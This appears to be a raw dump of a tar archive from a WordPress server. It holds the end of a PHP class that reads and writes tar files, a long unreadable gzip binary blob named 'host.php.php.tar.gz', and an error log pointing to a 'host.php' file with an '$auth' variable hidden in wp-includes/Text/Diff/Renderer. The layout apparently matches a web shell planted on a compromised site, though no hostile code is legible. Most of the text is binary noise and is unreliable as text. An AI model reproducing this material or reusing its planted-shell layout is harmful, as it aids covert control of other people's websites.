					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                host.php.php.tar.gz                                                                                 0000644                 00000061203 15212004204 0010214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             k#v%	K(.hޏA4f P
ϽX?E1HYvd)Hb\%GQ@̽W鮪<yɓ'Of<9f9Fl[eccyƑ%%Hdd:ӌȈXd|<+xO(Cax>7|><|	䟥$S"(?GY	/}_?	:/8Fkx/>}S''O|'3OS(O^;L?ݟ?Cx_8|o_{|;wl߿>_,%=GEMP PO/;秾%~;/?J=-{A.xk?6?[o,#P__Y7}|o>y7_֯5og_-כ|_{O?G?ϼ_ͽ祫~w[3o}?˦9 yW?_?e~?ߌ}x{=~MyW|ǅ~<ߎٟ<7嫿:}7_'SPW_yob?ÿn?Ϗ^?<	~@?#~6+
47{~ٯ^x_|v$I/?wρ3_ou:?/_3/rN%)+~$agUn9byL͘+DR"K4")њs+jz
#Dv.E$&[br ԒV"KVf Il!$kjK |}-MREEAf2"1!ͩKRqkyiĔa%R1@bxb=f9& DS F 4AdvE*Wi'F$4YfD!A>.
P5ۂ͈bXx ֈDP21$jzEݾKy,[$5 y&DD"E$} `KVE6*NN/3h20D -(Jxyύ"t#4xCHP^S"sa@,$gehR 7hv_pjʖq&e-"HqDM";`x	G
?Ic,>o( _Ebۇ WPsJH tKp@ZnXskѪ91Tn:RbK %:fjrxٽ@*f9)0|'s C</]Hz&,"Sq7V1^'zH 0W!@5 hFXNB=xLМ](b ̷Oj,thT; s`/.b-^3>"^ CS!h!'H Q8A)x]DGUJEv4	y|Aab6hԉ-VQ<е^wADUd攈Bzv1D`6sspj Fp~qqm_^{N-(cws;\q	~5ԁ) x\ޞӵV|o/ɦsqA\vU؛7fBA[>pҁ92S(\qa˜Q>_Nns:}yzqJՐ$,y;0 $1
~H<7%'C. 
@/QQ

qïٽc@ BxրDpRp5Σ-Hq1=ށ,[A3!<%(K:qK!@ZpJ$ $fāT;ٕ 2P˳qHv>ƀr Z֑l@f!;3<T$`H}:LT	+-"S 
!mNI0i>%1#5`xl-t(b`$W Ib˲[$@,U5T
k*ę
Ԟ8,@h[!Vd)JIAcbX	TdfBeɈā LYJ4{.+ZJ#f%g=_;hj+SewH r@҉XڊS48Z$D_ր'/Ԗht#lVdڼ/V<4ʥ`E:V@ar!f=Rl	"6\	`TPsPF5A6?x <Bɉ@:uM;!ڂ@;:&0uEsuM&_:as2%	g%?@zLf62ԈZEFPAREF^<a
Q_TW(,䍀ㆄ`cڊP?#?4PF@D4l~Jp.0 ZtTT[Xtт@1p0X4X0\S@K2	mKPqn#ȗKLF + s843=K4fW:4?dl(!xcf@:W2Nx6IsAb#fI6n>VLqS܌i;xOc#:	a-9J4<*
P%h?%93 Óa0`BR-)322gBFCٽ-cH:R	i&svΘ͍4?5o]*X@V<T
;f$Ɠ(EX9݃D0)͟#JqBq`2sµɊr~TDjxJmkӁJ<6kWB|6*PX ekE'(p-+Jl,Q)'.h8'ԗ؍'! 6dʢ`Ҧ@ d {
"X^4LKװ1FP2-VCPɍ͹CVCDɭR0b}@s5\ضjȁ-Mq&X_@CΦY Qq3C! (t	\ݦP	UtkSwlY-_OD
\2ZzB)LD+ɒɘhF<?M
fޗ)V7RkD;usXbxM 3 |~dᒛwC(Cal.TT!6!# n8h?ac.#]D(\'Cn)/Z3\e0x"c.W+aWa8Aat4R^쏊JU\=D ʂ*xҕ0.8Ï8EV
PN\H*:UQr	fbC%#rX˘3X( 6?_8<G).߅9ߗׅQ$`tO8TOƾWDV&...ԒfW"//,38\4>sD:Kn,LcbQ=7#J/b1ƒbp\d#hEBhU:B8c:83^yRLEMPWi60"_!ҩ7 Ff3G2(	)p20yv8 0_c.58"Vڿ3s)޼0&8U{u"ƣ*hk\pX:hD4 B mpָR=	ɺq2
xAe_EEx\0I(&kc{n.K1T
P@:747=Pă12«+_F5Qޙ);TėdIeD4fgE#L1CC)1,uu+0b¿_RXdW[bݎ
3 
bn)8	|ϸȗ$u㰫&p7+Lb8XXCi[)؏^xk%FD niCs:v qJr;n0KqX`.1HI|JϟDJs1Xci|SR2QT0	㎝`	C7,Wza(t+_Lαة4ArzR/#mӌ?<	L=)1Ҋ^\>	}})IP| <ʝԊ~9}TXަ/I<$D;XV5$_̓J0~p;l't<Bz˶(
r0Sv($1P{ݎYNcAY3HepâH*08)BQijkh*"oFa8'Zܴw991ۂ,칞ڸEXSmP4m&-Vg%f?o3x+ʌke2@](Ϙoi1x0M1%_ÈCڡ:@ RF\z",1]}Z3ψY%2Pm;
fC-^50pyɯ@uAkryPq{`!ƘK*'nn"47
Q!ZVC(}j0]e{rЅ659NQC0KTUxr3X0z5'S
E^`cE0/@Ft;R3R!@q"gӹB)O-ۦ @ݜ}gf_ٲşzeڈVF nҬ64Уʐ#UO&WJ4'Q>1~9 %7*{!EnzI3D.h6FvGUgiۦJfZ)BB\tAD
X@ _&/NVTΠ|7|Y1hǋtܡ.AM5AR&/̈́L !'iX.3SН\o,u5	z~%	ZS&S5΀TPKKn{E hxYϗ0fNVϰ* 8;Us$A'[8/U43є^.%{	+΍nuxLh1k'FCg{@8	+LcD4v
%2M h2@Pefn
!✿T/C/5Y-*\h6%cppù-Ӗ`ϑ$0SeUHu	C]TV )5fx<jOBj`2 IŬ7v953er )7`)ks90BAwK}Xyi4&)eJTtj
}
G1[yrM:.5#JwU$Gi+3P$LiqOg+jz8TGxW]Z]"_\S >M$ԭK^0Zf3ӜJf@WUMT'=;V:8r uo-؁~9jkņc/pG!zSѽdCg}!>/1@u2]Icaƀަ" 'Rv0uF8dyoTJLp)*@i>lxLx$=C]DV Z.Y%#^ZBSfEԤO3I(g 6)phSc~9ZtwD4BdgԈ""w~
L
} 7m'*	qSn<%k_X6C"K't<^ uzgȡ?Lx~Unz|;9\Buy鹿t⢿ٝ{ZpUp~dX~=%|@R?).kx&7[Ec8ДD&ZV'l$oV",p,,zT'\IX_{Nˮ3.΂nEɰ('rfdػM[y}٭{'Zx	.OAqNq6{	eg=tڂfX&!vc.	;9Z뢓pA_8}h&b%[*O"\o}]MؔrSقJs6 3Jm)IJe3ɢGs2vnbn>"#	2fVЗ*b,r*~.="需J>Om"dwY_227P{0Խ<,unИFʝ9R|oD}gOջn) & nGfL@=.ǋ52Q!r=*l=Rǹ4/ _ֿkMHgaMRA ͲZRi`q[B.l<iI'34uNtu3Ӿ˧9ۡ֬=ͶӊkBWNjݮgӑVKu'yWߔtKbJbҍz֗iY۟- w
9,iEbm<NpyS[msL/bITKΓnkfkFT>CUE,1s&;zZ"ޕFdY?SL9_+\+x>wYY=~LBe_wZDun-'IvZSv[+۪a7D5%Iq欧.Rz+(.'fM+*s[R`6x.wЊynRo^41 Y)v
0xOo^ᇥR
0'RmܨˬZSuߋU7!E+mD9\KVށۜp'	W	BʴB8  ֖ s}Q=a:Hax 't\PNN}ElЊpey.ÇW+VS? 5}RtZ4+ہʠBQP0^ͣm%Wi4Փ1fdZ2fW1+H&C!TEFyNr y))^i7K[D2 C;w<s꣚9CTٚb9C<XAa]w|U uCXa93"&Z<M*"*ȵDkj|PCu`Z	]+23+8ͲQͯ.
ڇ "f{a6|  #_߮0]gssh	^	аrЩ÷nTq.b1ȥQ+ahSDy%z^IQPr%a8}@PUXI>5
 xT7$Ao!.*	޷qt=E!pʀZ'E+MeVOJ$>)=Z9ڽ+:KCp_ែ?'	7Egہ;7(Í+ߡ^(9䱂:9|3볯@C@)0+tĉIi@^䵣N:.MKlу3cQ)OFcfbb8	QA`𔀇CөL͏
dUPnPtCniͱ/eY7X(=/"3VpP[/Jޘ:(8$CǨ~`(NoF$,ڨ47N*1._u:d,M3Jou ,*aL,\b ltPL7Z&C:`ّ0gȑ
z6w Jkþ	Ac!/ffzV)1rWTf]2z<,!}q4Bj
O#KeyjťYi®Nnavl6=Di+etqkVvB0q>ӽ<j% 
rv):]CFRlqq~ƈ#Fw\̅(-ܽBJFǉx[YAsXDP6{b,(EdԨ4	0 Ц 5Ghygdjx}l'R"x(DFNmp)-40bye5{]bJQF<6(48#V[Dߡ{T{F~T=ȇ]ocO.^wR8Be1O'B*:&zPi'
7(ը‛CD=0WT0Tz^iNFd9cRV63y*kHKl%ΘClX܃ysb(DH?*h}i]9LᾐY6n.OT
dV>~\D1<ȓj3wuj.쓩e!Bb(q0V]Ho_?7_9=ww`)|\*zpT?/h+̔(wڳ:ډj.E.HA;L}& 7hwL[Ρg0:صBԪQ:uo(0(*@G[`(>C!5^"YXA՚Q&Kwh}hrP##ܞDc˚(tb} ,DO@/h6*\>@ҏLq%nNřHYԣ2i Ij^3:}{L=Q}0jPq'V	JV![O`.%ǕDX6"x6,vsVԮbS7mPpRU9<V,hZBO_7g\/v[ͺZF|ƪ* :xam9C`ܡd<3#t>Cjr67'+C|q QQ)=p 5qbj*Yk-=	MfE;֐+hFP@ٔTVq B*˳q [I/Т0ʬ
&cfmgBDqJ	BĈYbwItsxϵSnSz\=/Ȳ0s2ap8 <>0JstHG!g04vq,#bm	T-WT)myhL@=*F9޴D_ᚔZh\V8pwN%t fxUYUQq~}ЊtV7{@d}?}b!E$[b
`>ϦM09M1w0t-S#3b)VfRA7{0{gMy2x5?
KS xΤ	zY hpGy39c+7ԳN8>=E`x+8o__\Xë1P)~@q즰,(?xbFue_a9:܎HhOuNbjAY
C2V8I00@:euQ7hv%C(B9:<䍖;ePƪ隥qf`K}YdR<fb^ݜN_kEcwrR3^<wed:f@<p=ߩ+<@]Hb&J
E%HDe
zģ3lX<T(
F<S8[#Y3?9Z̅)|{bF33|?oox2H6b%xO|	휃_omyS%/RmdPmX/&zpW
2;Jԛ
&^Ijڣs#Y<P&v,RWȸR^&ddjȊ|9Fhuc+U((GRX, 	\7Xe(|JC^_C|pw	^fv j(	ZZhNY;ykGQB)?5E|!cxR5oFe,QUNsmכx<7vogFsiym[FwMkaLi5HV:aGlRRRyyP*yVÁ儊R_&Ż꒑"AnƓm*xi3i&D S[m.O]/ّR"^;(`ʥb27{x)͑krQsx7is\Lx:L37Y׌ l'L\goIy˅DKq*Y6{1]-3hOgH-/x*qb/*rJ{ͷx=@<聼7De2XȲQֻ~2$]qv]aSuk4\^YH(YN3hDVL)Pp,|)."H޲e8<QxrYL:wY!N	\.܍#z{bZ+Bdy"tg<-=s7ǅM xJλ@bͧwL.Q,`v-B4GE\Ӟm1
xӍA7	
mAӀӿkť-EjLwU_c;urx`5ǫp?k(˦tFHŌnAOMgA-֦EYvd.	R/$1ȒD6'ƻD%fTR3Y'Y#ݎ
6Yct8].%TjR:EpP&zb53,ˍ&nֽ|@&Sl^Orki	V>`rێV*=pRvjIYFZ/W̄HG]bv>Q'D`]5Oŗ#)+O4+ƷfX2{^]<iO~ԭ̸IhK<iZ-q&s+
uNw/&i70ZmY->mf#-f=`#Ji$4SrZ@ݔg`::k'm|@5-g^hIEcsJY6Ѧ*TK	BO\a2BzW&|y6B0kfg;JEسhpĝGZN.z<wR/$fl|m86ݞ' 6ںˉ
KU=Z<
y5vv+څbHnGwv9QqkɢƷ^̽oy%3F{k<i3(֞hjɎ69Yԓ#)ߑʋ@;jޥo\weηXP`mW.̮zH.oOss
qsU`li^{#.Ǳb jR0 z3K/ՂGt +oE^"ZPV_i:]Ν./A'!sIoCsKeFYi&d"f{߭bd؏3A9^\'{6K:խN|R|l@MnGP&3/F?nKe|<ϜL\e_b2$/X2۾ujKY,m!ءv{NKJ)24\e	FfEГ*w݄\3o1ˑr5WrtdӓKuB;cso3y"|m^&Uy\-@|xh>c@u旷@XŹj{sdBU+'B䲼pG~;c:SkD=Hd.eWC1<D/|I1if-Ŋ7gtΒ3["ir$f9g)y2:%"%Q+V6Y<;+՝&&dVo'&<Z%FFV5t2.'Og(:qV5Qf|7o{i\KHPz\E,F.{_Yf,eyV2	+&p&yƻf\ejdj^ʼoǕms]USI|27,Y/ټ/]Jd:Z4m6RN7
Wt$37TkGv&3Y϶\DKJcKljaU|=zmhÍE*ՆTR^(ڢ/3
9iFsmE|ңD]Ãn+/knœ@w{Cw*TT
Ai0TlZBI,֑e~+fh%r(zf+V(&ZFvrMH.|]rf8n3A{	܄VtςZf'BL?~jN-8'u>zIю\{ӻ~18,(cmH$OmLz|aH˝ܝ3rxUz~'Jv۽|WPvH]Nެ8!7̷uڮ7&Ѯ*I+z)G㧡OTSha+g:'gUJweY;=tH=*SႍUT[lN}.7:dA6^8V>w:C\sޑ,DԪrW-jasn|]"lF0_\R0dD)GtF}+wJOPf0#};ii7h:%h.U/OV\t1H47[;YGSqlYil_[Nw[KJef]Wv(:xzn`m9lqȹJZWB4Rm:|."IP0<̚S2';2[i	ݩSddtDnqo  |`&H	814W׆d|-9&/TqFHIZ=F%g5OlZ=ćUͭm:H<0~!ܥ=R=Hq-f^WzͨmpFT`HWn+?yˋ(
xBrU?$qVe9l߅lk+vw)m'EqP̀wk)/2`yYf\RmvW릯Nr˶Gb#g/ܲi:NU{oU[|vi Yqem&\w5`fY9ag؁\u/fh)$\-=B6:aihONwYkjNfMs+Z|unKNmFTWv͢_S|nSN,|Cl{#>ׇ~Vfm8 ;gE)"rLB-E!e'kgDd)<<W*B]KgVx㌼lpHEU^n"Y.v?ͭH93~ }nD4emL^!,|Zȷk!߮|Zȷk!߮|Zȷk!߮|ZOn-9
ޥ0 e"2UBFC6k	6;ai㿣R<?Ӥ0T#ojz7ͰnmKTLo2vS$|J࢛h˶@SrF~~%WasfX0`oZF!Cۡfۄe@w4&w7L$u%iwPo*Ap9bQ(Q}W>ݒQy*{4XiIJ[`nWQߺڗΟbިX/Rܕef]Y)DxIҸz\05y<2,ښ1ě:+1t!ԖB|~ˍLDr64lb1'jsZo1gN3SfȺVӮ&MU2_
`8coC|a=B)߭f|`%5ֿ`"
x=0KYWYԺqhoN{rfm[Qz#a4pvķɷ`[xZ܌R;gnZCy*fENnv祥<JgP0asRvFaO)e*WG7}ݲ3g2PN膖9ֻ7VI>~Fwb`tB}1/Tk+SC]iZN|(Z[tvnr^OĶQޭM-OֽPr&ԛ/ux>q0=$VX`'"0:$]<JUCco)P=0vz4b'hm2i8K	*2LY-,XҹN6]>mTF9̝\kB6=e]HN;vgf\SrAy$0EGVm(mk8ŠH5/i?	wl"#ўo09 ]Y
v`[G.Pb$B\"	My(^~o˴b3NgAq#ONnd1/nC`Y,\<pݤ0\-CpV//:	&Gg:zyh_f۫%l5}0on8zpﶞδ
dV՚+6LZTxWXYOwQ{vsQLˉ1ԇ޲9\74]$6]AlR r)%E93	ҌZ2K
[~Kp^>;	\" _6nf(Z>]i"frtUJB2/EsrT?i7>.wn^Tv%|^ϷKpǹ-%߻WJN&%j$P+xaGMns0D^7ZJLva14K@d?Q9}ycRC9a0Vb|
dB2%r%_qP~ĩR*^g<NW{ΞP!PYv
/?KS|K|U]G?qxdA1T>x_t06't'.??|*JEB÷xÛIPL8izx\br1d'lB_d'A5FzH	^(]ݴ3F-\*G͍QMx?We*ѐaFSC'L"4,B7OWb#)R~05__>cYc<?Kk\2XFSU#J0 !VX\>˳Fex@I6kI*%aQ+DiԈK zIt@h<H2gSNC90ǨCm|(ujB6xRJ\>G# kn@'?X7#4>ۜPj1E 
qaТs>V5~?A)5V6%$`O	ʓMDW>REі)jMiQZ<(^6(74[/l@F@_݀A}fIX"=]XB&}$A12RHl3p(@~6"¸}8)iZjJkuE\)Vd/Z4pCXV`+hx2}i~_8Ưvy)q?0Dd#@i@nrEM/ B:(%#!Gp-*h@m	!Z\8plV'u xl$&(!lM(4d}( 2C%0|R
Cء	\Xl5\%7z!k*u m8%
# G<خ=@z~ݯ֬6Wê=hCww1`8m~ޕE p<Sa53$S{U]c	GJ~#EFl}usV3>9.^z>@T7,Ne|'$HH9u{*xh7]Wu9d6`8m)XCQ]E-3mS@{=h@@r6S+ZT<F6-Hӵ8P/gm>T.b#~0"
x1áX`ϟ;8@?SZi )wP\0V^0esjL%NaPTZϩR8[PVM1r_wҢ `߻L*15OիYhh4tTh+aC1#Vdn%0j4FV=05 `Sȸ~CpQ});[-Pi)VOE)HIYvS.],)~R<1X,-%Lo-X{Db>keжq#R)zGnƶ 5NgMQ_iQcPmG<﫾SCMm|%OIs`@"~mDzA
\48_(0/OِbsHëت{}<ճ^|Wye7ķl
Cubq_bV'/G#Z(`kDt	0kyųpt.Xץ\
,%=0J|&-Ki	e|!51{zL@6P]B%\W`q~&O,a$0qn5?G}٭y)+tzns/vŌyۤA?WΠl˃GV}a-`Ӕy6ҏt'娦PY[U9gy!NU5b{>p`	NT^#:⫷cq&	Kag0(dM8)Y
"yϱ3(w'1繱}˛(RhQ894JƂ.k3&kBKv%p#
x_P1[tfsg^9ׯp)
.4 WD%/"W֫SEcXk`@]kk-1Rzڤx,}b:a@
0̠d@DSu,v2 ]B<gx.6O$!
=fss*s!5U[`GmGlr,Mo>uUvmd7tNEhE*4	'{P)|LU2_2>5V 0c
xـi7(}27E#(WoXYvR"sweت_>^m]Rr >dcb/P_鏃בI1]ހDj 7s4VG;s\ۤtS:45# 	ǅc4rφ=ȧryOPTy}ǐ*S2kw/KV17	#LB0u@tqCHdb22`f<xQV/KiJ؍SC{{xk3nȠW@R#l7^.8&_+&Ǵghَ2lzN4_,4~81{DRM`ʎT\S'QVM`sfhbv\ͨ@sa_qy,.ڭdf /{W0K_=UKKBt( 8I&=(DP+ .ŧъ1Z Jj7M#O%JBjQ/2K9ƧO[F#_)v$΁56bdh#Q]{Հmw {UwsʱA8fͣRs 9'H>2ܦjVAk"dFh'׎hD`FyS%0n-"sOCuAnF	+2ۚE0P+pi;07p_[F
XoJUJJ	+rzooG-tv6}zpD*_O'z_ XgP.R.! ކ*AO6[?U겇
m,@{sd=f@8O@HKЌ]v6.˛+$]Eq
w5R̀1jxU5dU`ň5ADzr3CuYPywԮj=_+B; \1̚=d 'w0{?Q0lOr[vSNqN:y%c\nl(eΑv+SA0赽!b7SpT<}}{p)VElLM2ѵ344z8en.0Zh9's5
a G`bLg0ϊtr!~L(lbhl<JCV{eqMtfhDWK|W>Y+T꣖FX"H;`F-v@i(djhߞ,j
ln1SWX"݈ `,;D
qj~HC+<seƇGιlUуzsJ1
;MhGne3x 5;VRí8-{elF̚⨭Mmkl"oMmoж43Ð՟@A[,0$0nNM#0},7<9?sX4PUvK*_Nr8Pݏ@_I{Kh";HvW/_x9|>%(N<O*ˬ1 zv,Ԫ봄|cXQb=ŹXo|ACaZgdv欈ߗzĦԏS0`%c6- %jJ7bT_80]j'pHV>3_UkB<Q's}
lZp:E70<}6׊>1_VM`^mQCp`T-rz8£Ϗ
T_\VӥjHlB7YL=fZV{`HΣ#Lư1%+!U+c8Nvce@*9GB(XjKYOGU@P1{CU<xxP詠LBSOYؙ+^X\?xQ}Q$( GeMQfUgOATBFDzi,DeFPK
_и: Д(R[N͟[w*~tz_&ý
d٧^Ͳ1	hS2Ѝ2ڐ<K{GP\@19\iamTg˗Эp z9ZrUc5@{f|O^9wZP(!
pʹMpZ;=KFϯ:14#C-0TЃ9GZ\8DG@v&9D(CI@B#BRɠ7fO(:Cz 	o깞[aIHKaM2\.+xJ߫;7x|/7x85;r_ k:1ƨ=9A ħkšEcOR{=F8~_
]a8+%@ }SD*F8KsfyZXr.5B놢A]o2rP
x\ލ",6A8.@q}Jb[Frɂ _bRFd	BmOŮEF^qjiC^'0Q*zR;fCpZcq]Į{b;NFzfxF>~70k+ChL5	i3[&Y7!7z}^a*0͘&ʪIF{ȧ{n<q	?Ƭ7v9#DJX`#rvUMA-CX	F;4ڣO部W}{(2(^J-P17zRJ0}cu4fOK]WҩK}{a[}d]skfLDl]2W8M!s]]Yb*8Ԙ:J3(@}LdS@qToK(Q(;zB
	\a }քt,s$Oo<^F 48KMק7nm:6Po0+?Pb$|14~7yH ;)hfp7f7qJT"j?'hۓk֡ۖ1F'xE>\XT?Q. 75LpSc02\ud~ :z@XլWذ.V+u_w_b'(̈:KcWZaID	ϐ" M08S?+s<5G)0֍rˣ}j3`^eXU01 |WАn΂w$ldX~R(Tm\k3>zb~AьkGtxgJTIF8@5Mf6t//b:U"ZD_FI]|$ lTJPnxa^ nipYV'` S=&DAл0HTF`jS4utqY#N !']Y92"b7﹁.";1SHB,O^"Q QV8`OS	0V̂NU3(IZ%d(=6ei=D;U)[WTwE<Jl"=ƃtM꛸QګL>g!ϕrbva0C#"PB<<\-Яg=,:!TU㨪Ds׆U]B]1<j|ZFuU!+Xeb;p"h7t!yIw\Bqֻ;'Ҳl#>4:a 2>zwٚ1[{&P5/!aV_|e~㨧bny80;J+E5`Ec6Q+IFzVH֨
?TņVuv#E=a6PW=*}A\+/ABE)	`bb@I>1h[%M1t6ָI~,Iy9 !ea0]p8&/cSF520fL`rt51@ط\լJAGxW
vT~{y}l<64]o-ޔ'ҬzVXQsQ!@&(:2)Bʛ7@> ǔa0xӰ	ݜ@WyGsSk+ae_K1jI00ВP#R k'
;hyr켑&3..@u[wlx_/ź[O21%_3OS(}\?Nȴ|c@-V!x5I`H2BTN@[AxgCtux'¦{`j5np	COZ#)u.N=X%Q9l`:1Ncͣ9tK
qCNvI͂>Y]KT @wh.]W@K]h9ܤ⭃	ɠM]i(CcYb0jqvn8q3g5`L9䨑\@j.	q6ufH	r ȱ;iXX&Ke5# ~>4%ME%,PY(#>CS*ZJF$]ZUfcBDHV`#)} h':٥O aNk[]P߾Bvb'Pv%E<aTe 1tckӚM1&%0awBUY*Nb9|p5j,&hsm;\S%?9cѪ	i╭_AA{n?z
m`VIԣWaU''F[rAh'8\kVVM%2㲫cϽRO1*OO&&^}Ķ)=b1i8P]o/zSm뽆կҰZM\N9a1тGaHZxTZ <^CKZv3bP]ӂ		u4x7#&EUMVaCIֹjY&b0&w_)/eZ+BV*g\RֲKx`MuT3 ^SA-M-=v_x;C6O/b02:+lB.C
Ì+,):ڬؔqaH}r|o j|DZ낦)ޅbFˈAF"U/ysxTfTd&Rb{O#QXѣBT
'"!:JR5b$SI[RRͬfDGDij;D*jH0*9qd@C`$OB@t`20IB`
ZCm6*aF']fP;=l03B9{	1ȅ%"ՠUq~$fEqpfdь׏k-`;'Ay}qrq:Q>E2TP7=v'x%\7D4Iɂey4d`Cud@r 	/Eϼ^	zVmwKisXXUtMq$II,9
fa4`7zsЅ9u~Lq8͏7S#SJYQ'Xoа㣥=]ʈi z:¯O,1(lPP_$ZtrpQUL2Ku(6aEUk4A6C?Wp 4n?eYjVVlvVՆ7wA(_@vOn;ڹSd[L	4+
L"cV&1߰kAni^!`sF\<.~x4 C'f*"$:|4I5ρ@U%ʪJӔc1]<g6~.~th<0q/ b|GRG|BV'^&^B4|$V:CDu~qb~6F=Rwj~?Ɯv~HGn($>pH5ba$h!	sNl՞0SqhOArkgu@@T游d}XpI@Ռ{`+41L9>@K]`%Q[6T1X_ë®wF6o15t=tBPSF}BǷʷ?|_(h D                                                                                                                                                                                                                                                                                                                                                                                              error_log                                                                                           0000644                 00000240252 15212004204 0006454 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [01-Jun-2026 03:23:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[01-Jun-2026 03:23:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
